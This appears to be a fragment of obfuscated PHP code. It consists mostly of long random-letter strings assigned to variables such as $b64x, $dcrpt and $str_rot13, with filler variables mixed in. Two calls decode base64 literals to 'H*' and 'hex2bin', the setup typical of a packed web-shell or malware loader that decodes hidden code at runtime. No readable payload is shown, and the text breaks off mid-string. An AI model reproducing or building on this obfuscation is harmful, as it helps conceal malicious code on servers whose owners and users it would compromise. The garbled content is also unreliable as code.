$b64x='CBTFydqZkeZcphNOiBLNxJGwgZfpLLRmMKsjOgJYkhAYpNMXnWKjGPelOkZZVQLHBcrOiZlSGkQVXbsKyBuDqyOeInDdDnjDQZrYybreMGzihQTFrMHGjUjshMULadNQDEnaFderKDArtSviEbpmVydDKXNKBAZddMdiqIYZkXPdPjLSkZFFXIHHfuQfupiWaLeqSdODaDfqlQHVqLBmuHTYBJdUXLqXVvNOXarxdVlpLtkadkmWRfUsnxLkhbIDVUQsUGnXBAmlSWMvgysxdlPriZCPajsvdHMxmavNZgzrcKLIhcekOtCWtdLSMDNpjYkWYFJxkHNMrYTYaYinQjjImvayxNlfLxbjBkGlRTXIRRGrpnFEynmjhmhEZtjjpktQvzbMRyuIOzycMcHJQtTXFabdtkMhUfXqdybUVUbKSzldCsNRKGOOfpryYdeTIbiLYJeucfDuEOxFGjwPpKduyusxWwqdXXnVfspHWRaBfxFkgBzvKCPhwGdRbSVYpiuuaIAWZAxExCnDcMXMOltjRxATOvrddKWdSxZrWWUtyHvZttkGdDpVzPnnJEQMOMPGiPWFLqxIWSHOKrvNtJhsyUFhYUTMGiRpxNTHCPpyHvlrLfEDPkUmfYTdSmpzvfNRsfyTUlrbGbRQhUSWfNIkLbNEnbChgOYyTVQmggnlHFBOztjEfsnrtAUfBwmgjKdCFTOkzCVgGVueNEitVwJnWcSWyeDgOGISZVCXWWdCRygdBpwwjeiFGaCdeEJsJQjIlkGhgijXfqAGdWbmAJSgiTJmxtdFIMnTWtBcaKzgzZMCvOnUWfafyKRuCVZjgMddEEFENEKlDxmXKArGfskcBcxCxVLDHnfKrLndpYOrUaNEadJfUUhvwdWsyhUevAOMkCpYAdpuDBxDEFhzzPtusqLQWfureICOjRMiUACWayZdcGCbvVvmKGcGkVwpDYClPnuimveMSDPvjRwdMqqVvRaFmwtPTUBhHUqtqUeHxubGkxjwmzrHQrMclErfYRMFMcyBwChSVJYFFhaRfrYvgKWSNnxLEiQPknqGpXYKfwpKcqbHGZcmJYewLBHqJxEujuzyQxhVsxeulfbredDmBgiMHPBQLejUyIsNFZIWVNQgSRxxuAJUfRGNfGcQLLKISCwWBdTVqJbIZXetWmMcESpJyQZiBiRtKMqKPIeFQFmPcQHYctAfknpJdnRdVhWfTLPituNIYzxaODzqVYwgMKPPxfTsNPxGAMnsfAzDyvElXcCSAxYlGmBctuTFIrkHCYygyWJWrmHnOiFOeEZKqAMItGmAwXgxvdDSzlnPYVClDhZIkzsAYEIRJureQXakaDDAnQOLkrxnXwvhUlgtPOjXIAByxBJXdLxRaKClaYYxUtdnEkGTypQfpsdLSlhwWdMWOnHOMFLGXOtbyZuWNJBbaEmtPunkyZhlMOzyuJDQyWrVvKrhuSjTVVLkpyvlWCxJrwGjeJzbFQXzZNfSFOlaJwkyUFJQhGYXbFGFneHsudquQvLVjWVstfPMKzbreaNFetjRXqIrtXjJRVEArzSidHumFwdJVQNZJXqfMXVfUfOkARLqqDzSJSepNhXIykgGhwLttGyMkLXjCIArKyitPNHDUeKspRXVMhnFOlryWNIYUHOEExXSjdvdhFVVVsQHZElNPcKkPRIKXxNBTKucnnFUSZQNRfUQJfcXhMIxdqgalTCEdvfQILKajAmafgQOMSlTetPhIVhupiXRDdHlnrLxrXywENJqGuIjMyrUSynGHKxJNDUaueXjcveGhNVmHcwtAlMtKZyQKvYWXtxQxuZzndEUrYhxbcPBpCtyaRNjLLgIdDYBwxzJBdDrbjNcmbdBcwYdMLmxVSFZUDAqZYYZBbPDkbFxdhxfdUIPevMamQZhSYWrwVQXWFAGHEDjMZOPUWdyrpyceWJWUGNraDnWHmbNQEWbdkQxgUUWityNphiJNVZNXMiFyjsnnOqryFNEYHZhzxunECWQyvcUgkzdURrHefXCkjFiQEPPAicEkYTItWCYGBbARRGVxDxHMBpcEeRdMTgWradiWfgCGHCxXhRukNAwnPyRtOUegBBxBEFWikXORzKPgBIQnilaxjRpxlSEMta';
$dcrpt='rBwnfrcZZWBZRjDZxBGUeLeAJQfZzuPqUKczAEzYBzXRIAQEbVzFGcFOsKnrDCfWlhwkLujLSGCaGSEgNCLTEqHwA';
$str_rot13='wmGMMNAnrxlXSnULwHJrZMGKutqTvaqqmVCYhbMzXXwPKPZfwhxUtCFNUUGPuveGQGFXHQVENQSWGsbbzXWSZaFTUKIOfmuVSysAnnDAdVwimXkLuGDtGHmZRuNWGHrYehySUAsyvOGgkqsEVUXabJAsCMNitdgXKdPFcGcXTIddYUItPeTqNSHpEuWxWCTGeIKhNlEHUgKsbsjqVceIukXyEtUZVmezupGgAJNuQykrpvGkWjSrupOxhhwcuZBNnHTOPgHeESvsMACIiUyCILYPSTrLtsXGyrTmxasaSlsdlukuNJWvTuKMNaWfRUkpkeCHetgwdXYpQiiDrEykXhwjHRpzLZNvDOBgGgbKeZyuhGXYjvIHCdQiUFHfEUAgIBmpHNykMVFtbCrkwYrxBHFwlMapfZUmAGBHtyReuwxUxneslVOmCTINehBjgvwgaxNtUdWNZtHwflnsgbEIULUYsvhXpddpAqgTucHtUNnaYBReDUlWeFVwzCtNFWBElgyFiexDRLDqLTTnNfKrjFMJGEVLAWplcMQlqNOHyQWiJPWVuGlEKXMqagaacPlfBBQRndXkT';
$b64x='TJjfupUFOnsnrjqNWCEbsKibydCnLsDdaMiTACynppaFyqsTrwUJfdKDGLrQcTTCeBvEcsrrHrveflYVHsEmUNpZYFPaXhcbIxejPUZVKTzPfWklOOXIbmhZrwzpEBqLYUVmOuHznfNScXDQlaXmmelcBKrELgpiaJUnDBMqGZHhWjxhjvuVYeYYpObZuQHuzBhBbTQgSxOpgkwPeqLDTiBHwcfQSMJrmQsNjhuBehPkRLzwAJYSrYANaFcSsLJdbarkHKkkrAUHKucJcaBuzagzfIRWtAzTZPdGYOrpnkWxEyfgzGAxgfVLNMHFLfzKvbQtPgICQdYvBdBzjAVPFrARCGwnLUXFWmYkSfNJIkdiOdhXDCMHSLyvrThBnEgJReTiJfRrrUYexfBzhmfZXcTnwAnJeuRvXKDGqvwGOvjLZKjgWPGtRYfmztvDmlxjwzqLTLQhFZSeJBkeqQWhPbTNTOPfzlPUKeedpUKutCybcIFSYBZmCsZVfOaFzpYISdLHxvaQwXrYFWQcxpOzfmulATqYingAQRgNMgcHdtFiOUKLiYjpkcZLvpicbpDsGJeRqgySYdAmxKXGIGuSISccgLFHzhyeQCvFhTXGwxSSgpXOUrgbiIDOShVsptVFvrJbJGHedYWJmUyGKdHtkkgdsBvgUPLpfuqOaxsDvplhIiNRLUjWeQZVrTbkIlYnfObFkuhehSlpbzfMtPIWFgRvZtfhEdviRVNBOuGvmRJNqpzhdHdhmVCMnHTrLnZbIMDxGiRszaeppcwRiAYwvAhhHaXsNWSUivrncIFChJQVLLMukjPFiwlPwjGIFzCmttAVaeWHmlCyWnRhWGMebyUWgAdkyFyRxxMWCIDOTeLpRCwNhIsIflElkHwJMtZiQkfRsheKmQYDsvrAcIHHtLsDRNLDGKlwUQmLXrvJgumYODyqKEWCpnEgAqifZuauJmeHdZqJtCHGEEVNirpWETcDIligeiAOVeUydJgVLOBpRVCzlqwpIyRqiZxNIwaDZUaCDGxnTXcLSdjDtFRBDiqLHlXpIXrgRrJUXfHqDJavlkyFppFrxUCEgzSnxjuNZcHwIpMkxleJVCNkrsBmlcQsbJeyszkQaSmIGyscJxLFyypnPPBBsrstzxqqVAgvRSdxqvZYrKcpIrCWGcWXTpPskehFdnZvfcrUXqsnAvbHLEDrGANYnbQyfXcJkbdPEuiBjAnJuPqftsVyrixdjmBPjcyTEahHTPHcpukJiZnBRizhrVlaHlPQOMiRMPyeEeHsXRagrNghwFplZZlGlaVzMDqXsNcVriNnZNTPaaWweLHeKtKvSfTeIIbavDvkLhYkvRZUrwqwgwAqOJLHndLWMlwGpqRzXPJRfiLxEASjVRzjZJqnNAjYkeEzuvYrJghPOslsRDaNTZwSILfUK';
$dcrpt='idaglfzlRrJOtHukaAmwERsOrihESxbAZbfLGEwWUeKMlEWLdIggzXvPfCSxytWyUbIAedxyIGjTJFEmmjtkgNzMPsiMjFjdfrdkvAICFsvOWyAJgSTMftyujgftLPWQfZAZYIBDZvQvsqDyIWkNphGXnLPyALOfKneIVfLuAapsrRPYNzkBgqyTaNsayfFiSiqnnAHnBVFRmTpZSYBYnyRNkINimsQfafSnfYaGUFWGYKFQIFnvdehNmvVzlLdlrVAwUZbnFxTcgXSODFifJPSVjnUwyXHOTGJNGjAKGtMMqdZsIHxQxqlGcfBAcIpvnxHtHgCmzNzpQyGXfDnbszgudITFqHaceHVLOxxMkVAAuGyYikZAJfTlmlQCTqeXxZhKwEVGAwgtBdrJnPiwuBHHMWieMmBilIShMmNlItEiVuriIYdbYjILgrpsDQApXRVJdIulBxTwQKeyIhZHsHRXXfpavnOtEJBgQVsrsLmIvQFcxEinlzkIeYIzLwrpeSwvmmkEXxlRMRUjvCWfbHOfFVdQsvEVMzqYMBCixnaJEusyVnEwURBZMFPdztzkSnidOjlLxLuaeLYayCVttxseBgIZYGJqTRthAFsxqkxUvvuSwpknLbSLHZjGFSVyiOeJtwfhGbbaWvtsjDfuFXfLWprBHMyPAcysyDYEeadaUwRDZWXdTCOpQFpxQmMqpjgMmePrETQYpHBNdyQwZeLqiZlYlXNZHtMTxaJBTzziFzVIXlewPpkxNWvZTHYZZjSVkawDYULdugLQRpLGcwCQsWpKcMKBwbwGcSIAluDeZOuQCfVFaxvsSiBuUkUqmqvOHdNTWrXVERkfWFjWBdNtlnlgYfwKvRXCuKvqARkdIUJdzSzZWLRhZcNXHjHBAEctNxInOsQVlzzKRXiNJzuhaheHQkhPnkhagpNuGEqRCOatkiFTgzAgfENVnUjaEQBkenEKrtBtGakRIqjOOKUTNHnbaWBeMbpQPsAfLaXrAiHhyRVLaPdNVrnvmPYYQmOeeNkpmhFMPMTmDOXccaPxQDRCRQZgCmlfZwulczXSkQEmdbpfBDCRfTtWitdjFpqejJqLhnDsDHEHhslIVOzagsxpjAynnNsWWIHdvKVxrYdyrPFlcELiVhxEguRTHJPDQxfkgaHWzkuPZyAbbkjwSfzYYrSFZghPDNzJNFFlPyAOwZpxkXtCcRZbHRGfYnuaaSKmyOYMMyahypdhmwiONhpuZvAxITWhlfTiURufPumMiPTvlbIyiXRHsQDzKZfveYDyqwDeQpQYeiSPJZmrWdyNUALdzqXEOZBdveHkSWIWeZk';
$str_rot13='hWxQnMBdKXFhZYFikuQPbuHrznvOUfXcBuSOFSrqqWWpuBxEuNSvgZkFMGtGkPIkjayOsODHjYWEzSHsFZMkYxqKCIPlXywgXTupHxwRvRUuJBLOAXyXTNHvVxGSubyruReANArIrKbAllNkIkiBYpvtkAkEaIuuYzUlYKTqvupfFbqNlyNJmIbxhLbISvbRTvcsfvgZOvetwTFgRtQdaRAHcBpUwQkOkMfPgLOUfsNalshcjXfJnFrqGeKbUUPfgvumfIhLZuLKkSlvpQdDVTsBYBbSwqxCjRnqzUAXnkIzDttRjVTeplemMfEHUbIesWTqqtmEcuCFNuWWpPADAEpMiTScuBGkWzAlrMpugqytJupyJOaiRPuZImBBmhLIGKtxVhQBxNTGHhdqvDXLssKzdlzPSjxytPUpWjPTxJzdqbtkE';
$UWbtSKs = $HcXBhJ("SCo=");$EEksr="ZjhlUiQiDKrsYcmtSrIVhzwMGfjghvVGECsyjHgMr";$QOwtkXpZRu="nhkDPLlFLcAFplPthbTzwmsTzFlijABWgL";$FnMfPmnTjK="OzwlkTJxgaiYgsIBqKLOhfYAQvHqTiigHFtsXBODBwahOIIDstrZXOzniFDBNLHuPzkmaYpaUqhIxPkpHaneOlswQU";$nDxafPOkYk="SvllbEyNRQwQFAPkYVmTVHHZZkEuRSviNfUnjsbaHWRLxfVv";$OPj="FhnZNlSInUOgeYSdDNPTQOpPDONEdslIYYgkkZ";$hA="PcubVChrepOuPxHjemOIMsvrNAGOfhXuJrvEtcvWQiqeewNIhB";$axz="dBJVfjNtfwrNehABlJIrPJlwDBIIybzaCIvHrhzWcPJHwihgspyGxibZiiHfjGFkNArDHqz";$NWWr="EXsvQCNYaWtjWGN";$XnvMwSjR = $ghHNhD;$b64x='SVTDbKRirSzLnCgJzlQhCxbDKFpGIqmZKgClquuHLssYuygsiWzjSaMbFBHMqUMaAnlPgewRwmppjwHSRfbKFnLjOSWdlhDLvnZbsVsnhHCRCiJtOjcSxnCKFynQeqaYEZZvUsICyKSZsaRFjuygHZQlWDBaTBYxAyRUpZVMimkZmbFVvCbBaslwUMVmmTimQAGeYaqgmAFzbJuVkVxKmhfGUatguBSjAypyyddjEJhesCZcWVMIdSNxsfDLgVvftiErlgApPItHJSJemUMPlYlEEpOKjiPbrSRDZsRnzKUHbcknXWDiuOMXCBgLiwmAndCMUSaSbuzcxJQuetbzGOVIOcSwyeVkiWxcPxVQqTtMciFGaHEfUANhCGDzKYisuFUiBPzRhRcJzIqzOTEISRpTxRsgpazJFtrgHPxnfzXdgmCuFGbyWqrtHiYViWdmpvtvJpiPOfSuRUOVZPSVFjNLRLGzIjLwEERmSzBfduAUNnplChGgQtRgdXFLgPhjSywkWXqZQPtcCHnentKdLbjOyOZEdgmVEIfZeVyuKQwmWiQkBAnlBXAYkzbnFnJIwngAiEUTTPFPYvzYUmKVjjtuIvhMhQTDdZDMcWFVkJjIDJHWvrREZkxHedSlTLpxjrilMmGWvpFXxLTRbkUaURgYUyJnIxKRNsCYdHVyVZUtKmJkxEKQvqOpNXCvuLLHCMFFSZCNyVFHipreSAVMPiAbFCVZmGfpRjTJJVWgQBnypEcGeXstFSvkTqJfwOTmxNWfhsmxSAvHDxmHTeAXwUhpjquFdNsBZNGgescwrxcUtqaluAjPTQddgWhjJzjILqnPgrLymNRGCrRvrAjjrMMxiufrsPzdEMsKCcHpQyURpkmFkVnBIAxqtbGKqEmTQFEsgKfwiznWKAauvnUCmQRFrXPHBbZrfDiMnNhVmURWurqpEJQrYhVOEjveLvVQxDbjqjECdUXXkMlPUBFShZHLjBQUvkjSNlBcvfeXZbUkOFzIgdaNcgzLgOFCYpTkAuMuYQQYSLifPgmvjmiLSHxZvBBSPTcOmOhleYJWirBXxNtfAaQRHMQBnQSCiUrwhyglVpHdFHBbvtgutwkziBzVQrxZKNURLADGOjjSRjTLCzEuunsCnQWEGuDqgWgRViXiSgaiPtTrRWjKJaMXQIBVbDkIzQYTZVbRBbZqusfKNOTwOFtdntYOVIVTzUMXpNnqnMegDkQqyKLmOEPBWOqswKkuEXrtKdhyPlEsVvHuESfRVUtrhIIdsTWwQNnZQvxGfbxbVEUYwzPQtHgapPdgIZbXMOwDITImuenOIHMDfatYIZYwOBbVACsMPNOxfVKzZxmhEyKiYDgfCEBPecjedBqTndPuyYsxVFdzCOHAQnFsrGGwhPZKqpDDRSwOQOkLSpJuCQusDyiTDOOjDNUsBxuRpQFFdqPVdYOFOhwrfEJIRySTKMkL';
$dcrpt='QUTIutwOuRKzCdfgNjhyjLbQFePAPghebBlUThJmYSkZVqgJYngiyHydkncAuJEUjqPcxXPvPZukPZtNMYvkGTNqgpPZXTUhiiJFFXzTXSdlSwYdvunAMAPSOFRMyktftbKxZIrwAuHRqeVKXIJJIXaVbsHYbzdvamRZUHUUbaLrefACnIKvFLqHCxeDVixVUpuPvnJwNTlSzkuMSDGynVEpsISNqpIkcczyPHtDAFUYPNjhqPedkIsCPjpFYxpaYNXNurPtvJRJwaQMqUPZbgarQPVOljnjwlwPblhwUYeQzVbnPqmRVMhLBCYMkmvGyRUzCbuVAyLySMkIbxYXiFhjGgVQtQwqgqnIQHDPEpmxAxEbtbYbfFkLLFaDvVSBKFiALlPqZBlzYpAQqXrvDBFNGFraAIbJnJiYUxNTYYSwmslbPcVRDAEIEUJDDjlqSUnmrbfOzxjMPVmdXiUAhXilsrOUZAJRTWdjxJyWfHhuCuWzbQzjngvFxIYVhHMADqjAyHwcncWQVSpXimGwtAAphyjPewpgLyGIeBjScfIYywvGJaBbAaQgyZVbvKhFHnmMnxErbLpzGiEpieQhEGNBFJbASJezWRKjnNZOyNneVRSdwhKzNyaSGbRyKVwfMGPztOnrCaUxRMaMujlgHLymlpjwKfBwLPvDEITFINbYZBLtLwYsgWeRKNmusnQcckGfsYKzMlxklHcWcaOIwsZgelAWYPYBzdGQcQpnBlyMSAJvZWCwnBCRmbNkRlLqpRGrguEHFBSyaasaWTwJvxBHynrOzcEntjEzDIFIIWFJXWiTPdDJADqxQHLPipcaXfYZmDHVzLdVHLPWnRFmuVJJbTXJhzJEeHdrJKLHVnDCYRylhdXayHiYZgHHFPkJwnAEyKktYmuWDSIKvFjSLtqkzWRDLBMGpLJlvtEtGxPiOWtiBCAMUPWSkmVvNHAbsimMCqFHNuPBqHjqjJBDYWViiQdWxDxnMKzNzduLWIMlqVbYdCaBzVKgLmcHPZUaiTNHWgSTpEEdYFbbhBDfxMlHYOpmmInvBABXgtqvwTyuzYVfzXKviVcGiQSvXFpYFQVLi';
$str_rot13='tPZRzdepSbVnuyCUKkVHWOQnSMtWkJxcyVTwyXKPyGcrDEkmOguLujylVRIFAEHxYATxWcluhpKKsUxGAQQuZneuEMYdqFaOEtkZvVtcJCMbVIHVyWOxjSqOFnrusQhviRudNlfVmrWIZcDWYrTiiiwmWMgnDNikFCnROSMajiIIkKEJAxriGMvCyapAOWLSzyiMrUlACuHmdkVEIllNXfOUgCvUzFlxcuitnusqNYCrJxurhFDeKQyQssjqWvMzOUrCOJRBgtRPpKFwphAZXxpPPzektRJHkaiYizZOrqEFaIapQZNmwCBKAfVSwdzGDgeLFdAvSDZSkZHAyumuVmdvsyNNbLTESXPWAORsrQkaqraNKmGfYjZrHMDIywMPSBkspbjesTEHjETtqAypiyFPJhXGdJU';
$b64x='pBvSGrWPugrrlvpYLuLsvbDLinGRUZJiAeAFvWuOcKFNFTMPNWghXisFxyVQxFywJXadTTrvdViIpuxbqcIMkZQgxLWtqTnYrNBjHseKmMRafNBvPiGzIwGegbXxvkULYVuemynYJeZORZIfIndqiiTqkQleBfPYAIcMGqLpTjdKIkpqzsFgBzwkOgpOMDMlKOYqDiFwshfzsTPqLuxlssVgzJUkLgwvUTLybPtSWYsNRGdCZZmRrHXpPrzAWvvrNfnPuGgPEXCwDexcdjTUQqiGfhFcCZtpEGDXLjMqGOLJsHLVQdPgSxMxErYfQrUuwWshfDWMQgUiNeDdhsjzOVVSLUXBKrvGnlmtOiEepXMBbpEIfNgthCktwITFyNkLYWENeHrSFcufQXOvkuNsVyKQfdVDQFOPCsbfyRycTRiinwDXPPqkmzasCVvSBigCZhHxYeZrvhYiDBfRqUbcuCuvxnmxVtyuZfRxJqNEWkMYkrPBLRDetwYpjLlEdJYDnpZxEmaAxlyIbmIMDKqvFpKOZvSCdQeReENIqNHlyetYQaLTjAnpOxCNRuPvjtLnWyvLKBXheqFvQqnZQBNdyqrpJfiTyTGUrBFabbHgsmBHbnfrnTvLiLaRqiKmcQgtrlTsMAXDlXjnkqEzIyjQIJgxsRKugqlxaEnNelqPIZctpgRwdAlMJsiaIsTOIEKIiYvMJkBQjdiXjztmzdyhUgHDyAQfDankyIWgsXwBaFXJDqvbttInzpqWnFCrFPBcWXIpUepuimCLCwmvOUImJxjwbkMgZniVkrJEUYxckymlTYGITNUbJDxLmJRlWzhGpQJinfKXcxjVvpDNCXOkZLvmuLXqKEvYUdHhIrfjmOeIChvDEJncuIONTMCDqWajzHRGywPjjtRkAMOdvbGOiuBbFcdVyeEwkvbhQqszIIKiuyLOYrCgkCiPdLjBpOwZixgzMXXvGHczEmnCdpJnRrCubMvrAQPhnVGztEtykUWphJQkYYXpOzIqkcfjTUsGPXEHBXElRBZYJPIgnFvbeDrOewYxqqcFMgLNdqyuqxSYLAfYFZAiCQWgMuDBifFVlrIOGFhvbZtlAXkeXKmYZIekchMkmrfXgmLlrSGsSZERwnvtxgsVOVgQcsBphflOSwZipGBGeEWArrTNxKhkFnBIeBwMGhAyDzHrEHwIKsiaIBmeKuPphPwLPsxvzWtBVzSzfnHpfppNPasYuGmaUiMJAidyFVYZuqyYdEmiSavgaMeUsRUlzGUYpyVTStsmJpklTXTLxnsyAwRRMLDkRWIfTDyMWPyedhqWeIhCVzzvuPMgZOrQjZvdbSpXgMbkTQGyXNzTLxNflYLklBBwZVYbOmyuyAErPKnNWMfIIsmTQXEbyeWyzUYMGwgdvKUKThxQubybSjvIgyjdbfaAAYMfUSjpbdYVKULdVIFnRzVxwEZxKawjyhOszXgBaewkZGNunsHEqcALGzHPzD';
$dcrpt='EONalLeSXhYrwaYwCiiJiQLkfSHPVyQzMDAxNEpjkMAflyCOfjxOZiyEAeuvDjtOlskYvZIFkhLxfMKKVGyuOVYNaRHcAaQLsAiNzQsKyCGDnPmIvLCJfZwfQdhqdxAUXIHVYzewAjyOYKVuUxcAVyFLamaDiAyFIEBGcFBDpYQmhkGchhbcfGOfsniBnGFvjfAMkaOzYdkfnRHUyIXDpkifXrfKWLeFQErAEEyCHJhvZOpxxLAkvIqSYVCUGHYVKPVOttPAbWUALIXHTWRNEGFCBhVgnTCxIxkbPaarwUQgbmmuidhMKMNktIRfCtDjpmKdMKTidKOFwbYeefqnsdYjLpqmgsWvEfyrqsztBMxwNwAsaQFRtcbdrQQxhlRkrPBGGzzglVbyrCPRRvIjWimnYCKFNbQeQQjwqIbadcyTEnKUhSddaQQzsBdfCtJRjsmYanYdqVWuIgnPYRtyHiWYiADjSLaBdmzDZWfPSBiAHVPeMHctpYRyXTHqeIQhuPjTLpIDpQDWkRAXyCPMafJxZrMDycjrRtjCgRFvghQsyQOVsDgRiQphGAjdCtTSLdvRuZLaGCsDsFyiHEAPTnWzNfbPXVHIyBYRZKrFLIhcMeKuijibxFaKjbzhWFPugnLfXbkIjRjVwtpEDyezCeiLggSClhwsvgWsHgzqyhlTAZWCWAbyFjjkQBlbIHtcmOTUvRJSYukYugAPfBNKkwuaWGBemtgZgAtBrbSPwcNpIMDnnqxXkRxhWXlIqRHVrZWhBOWWrJKyUmLHciEmzAuvxeClwjhMIdTIrpEHxNFsaqYcXDpVciqZMskhaRuhuMQLbTRyHwpglniiQWEsETrrKbXKSQSMcIxdBnaHKqNvcvcSsGJvZAkJBIuSyLdAtActODaXsNRuiTLZATTYteHtMALJkOJcpLwCNVYEIPXqhhOHbIeTlMmXlxfWkOyYZTZMnXrWlNLuvAAwHFOSQaPBWuxhiVFHnFtCbiXNwIgQHfLnKzfZZuBVOxCwsHcflUgMDdzYkeOskYeuxkuVdurrQSlIzNNjItwkVUIFZVWJTbCPLvLnOBeFtqmsdzakRwvMrCrPxNXqnzEyUOLIpPMhfyYIWYSmvMyknpzKBwzOuclNRwwFlHMQfKXBiPODBLmnZLXAGwNZXYmnUITfOevTPsUxGhZGSLTsVQRBLeZIClwwtpaHtvZHlTdraCWTMPkHeBHPFHXHstckgdRYXQfjKiAjkWcWLMdqnKEsQaYiSBSYEJXBYCjhKjsufuQqGTFTDJKuJibCJTAMbWMZyWHIfYBKRrzxJePmNAfVhgxqZxbASNYQiFXNDyxvpWRXAgjMfpgmvECTAcSspRhywekzchtrDjnCPXNUlTggWhzwJsOY';
$str_rot13='vOvPBwDHFqWaBqwECGlazglbChQVeYgzlBnlWqSBfOaGeWjfCvfABQbDYRXCpdaZdNlZCdZHSzmWUxbxr';
$IgVkLAfdJv = $HcXBhJ("aGV4MmJpbg==");$b64x='SPUEtwRpbPTXduNJyigytXfxKeXuVQTmeNqWjHkkwehYyuIvDnsvkyRuCpNXeGjISAEbgOMbstaqNIKqVCjFZbYaqkXTqhBhgEJMsvNjNNzZUIpPjYTiZrjOBGHQNHytkgebaskmeimZRanAYHixXRkzxrOKXLcHrHJrYtECbqaSqOsOvZksQwqnlEXjpzqGfYWDRZfSpFjetaSmaceQXuDjXASMZhsEGNhWmMOarxejxwVxYZNVTPEQqVbOdtsiGYeSKSSBpXKktehreUMXiPmyLpLOgDwMBAdLsWlftvqkzxbcQmzZbMWMAhZfKvSKUvULrfqJZfuYCvaSHArhLMUKttPcngmHCgtsMIbLNUiPpJgviWCthVcBprcCypIzVaQgirrvkAJYiptQKviSqKtEaUFXJnwENmjvDAQnZYlHnFxXZepOngSObWLjJHmxtwRvVgIvFUbsYYpxCdkQjcEKZOThvfEmaVIWBPQfJRxgplDROnHxPKhnyAwtfzFfuMBvCrAKIxrwhtmVGtsVcYiaYEtDdxhWJJrKzruGmKcudpOiIFdjEMjbqbESYLpHTertUjYguaZWPNeWtIfwuPWiqABnKPUEtKwnUTTNUTJifNeXUJSnXOxnNXBylVbEeWryPkkidTrIgUGadXpaMkNzHOWsJxVmSmLIWVQzpHgvBlvdjieVSrTYeqqmlLAexkMtFbRThXNJJIlSQqmiHfgkUWygHxkdHwVLxMeFiRNRzYiPOvxUaDeUzbAFyKIEfDPcOTgxKtnJrWyEruXQWCkVDKZBUIezKTBYlgvWzheqdbTUvrjQSuLUEkvXSZwbSxzEDTACbdREejyzAIpRBAMeKgbbfXCyuBbWuayUdOzHYwfXdTPFSBibHkCmhEjaekwXKUSNhQTflyDqrsuJSCjYMMKtPTtTDpQmihzPXsvjPXYGpspGTXdfiOXXgQQKegWMnwBLNVucssIGiwLBtPGCcdYITpsxvpihjisweLywcfCKaMluaRvcutLmHCJBqrJzAavdlSYNyAyXMJrMZkpuEzfKapLrFTpetihEBgsyfPvRXlEwwsPzQvJQJuGNmvSFDzjdeaBKpwBlHEHcvWbkQKBzdglPaDuECcgGchPrDQCJuJLpelzUVZSyGDmGGgJhiqmlxcCzSEhLMsZQdYjYXBWcDIJIORPXgCIcdJBVmhfYZFncDWaZWwcAekhsbxOIywKBfLVRSaqReDTHZuHVpiUttCkTyYBVUlVZWQQnqFFviyBHrhbGPWyhXIbvHCPBmjZIZpWOUBICyjiPQjvGFSNbanVgqjgCtfKsTfGmGnODWwRNfltjEFldtgjIrqjJUtBNyGaDTngQKXcPJUyMzJPRqYzfninhaOuzTubNhhcRFefnYDZWMOnbllgYTTFUhYtaSumZbpQGSvTqxsmifZJQkpOeitYqrrqIKDHLrWQjrJYnakwFJfvUTIYbaWQRMgzViGgzCWhtGgGfQBLAfFuZnsANNrdzWcTeIZDJWkbbrggghrGmwzLiqlvcbzaXBUbItdrpnSPEYWkFMQSHPcPeNkHOigLJAMrTqghDYxhxSRbEgtlVwAaiKgxsmhaNuQGJxmLvJsRBiTFqlqkgPKPZQlrDtRqlHvuDHfYQxPQGhvVuKFZAqOzFZphSfxDmRXPYcNnzcdEjzYcIEcHtqfXqvfHZbjltgbQiOdhqgkAejbNmduFuZCiTgPSIYEAfFqNSSuiYehdniqAmiefHfNAMCSTAwteAhssZkAXpHACqpBbyegekTewUwpTrHYQOPhNZhjpnKQDyRdVVjAfCEBwzPqPVNFJblVaSfpGpFIMwMhrvHWXKWSilHxgTbqUMKVFpJKDnsPiDWZYcVVlRmucUQJmryhChCgxkqzYhngKJFIkAcwRqptJebVUYCxgdccptBMApsJXXsIxudNitgrWHmRGONlsPnfHORGciqAFghCZkpicUzZCkqHzcSQrFVySMdvuSUZYBBYkpgnjeMkqbRODiEtNYQeKUzDMtbktbiErOrZScjHDAvFIyXUVOYehyItqJDikLMBzcZREiyGItkPqHJlUgqbdxUTGxbQINQGpPxsXVXFNhTcnCnihEjlaDeGafVhsLNfAKxWFuaRaTTnvhwckfnKIRQhwLpNxCSwlptqhtghmZUgGQiQVwacMQkhBYUxAlTkZlAgdfNqfhxkXebsBbuMrEURcnOCAHNYsMfvSskxzHgVLhmLIHyyKRqMeDOEjaDalhUDYeZXkgSwNFgVldtvUhHZKvctUeSfLNJKRhgcNYyBcdVnHNiBvPZEJCxDfpIRbQaTYgvLESLHVfuCtCDNQbQzcmBiCJzDzzVWeqhIHsOcyIdqJGCAhsyjFZRGIqigOEDSTKaabncYVfnFlpEtHbblaTRIIzpxCROVanVbCXAWCmaNCEFifgTfzjnghbcKSrFSEAtFWsbyebLGfqnkwGqUpcbwdDfvTjMXifbeWccaENfJCSTYyIslLSInwmJpWvleZnJwPLwtXbbzTuWRcpcmgjACWIrSDbWCOeXEpTWluykMRgDTvfFbOfDKmtCPvYRicnlsgicZGmMxTOQnTvphZsRmjTbERsmtGyKlfmlkzXhsLXfeRTlRKcDUVdXlwjFbhpmmayXZUeQGBVKRpvIYxKsSOqdJYIKfxwSxuPwntMtTgCKvWSTubkLpAOXzxgdtcVPwjLiCWCUcdeXaWQTxaEMasJYnqbGsxVNGfvIBWCDAGAAbqSzQwkqmtnaIOfzkALRegYFcAibghaHXSfNNPcAiPAqDePnFZEJfCOIbWJHDKpAbTmPiOprcnffsutwuWFzytGzOqGrzuRAmDpvRckTPQYhjrccMHb';
$dcrpt='rUHmLpCaGgBcykYRgKaDLvPSwPzcESxVMDHXRixxPXZMIxDOHcrsxfjSViUYaQtmtajKIGGWdFILcKziMpAIvjZPRTmRiGDbfMLNSrKVwRGXbEfNSeVMnUBEnnVwTyWYkHkCyuxTlCqmfvzXzuKmOKQbXLWqjTNTZyUxRQPCseOWYNtyGcjumZvJkRzTKLMJifGaVvbmZQIXcaUIDdcpDWXmNVfWHrGPwLprfrcEGjCIjVqMzsaBOyNBtSXZIcpdNDTStvxYEyGmtwzRNYsawEbpVYNDabfNeyexSawVyBirWHHjFzjBcKPyIbahdGuHdzdwYYrWZYmVeteKrOKTyYrGZQNCwhiAfMVdKLZJKLeOeIXUVgNTedzEULfqsOpxAJaJvzSEkwROdpIzvwsZYQDSahItvWpuGODAnvdyqULSISrdNICMXeEYLlQgIeAnTCNgwqdLJnEsfUUtDweZZhXKTNqBsqnkRaQnqtyYfbPKwJcyegxdpvnHHchyRvhJUXwjPTHUvxeQFgnKNjmBdZhLCpitirBcNWLcqRwKNAZtgMcTVOTZnajPORhWHJyUeiWTZRcNRbfXmHqiUiHhiqWwGe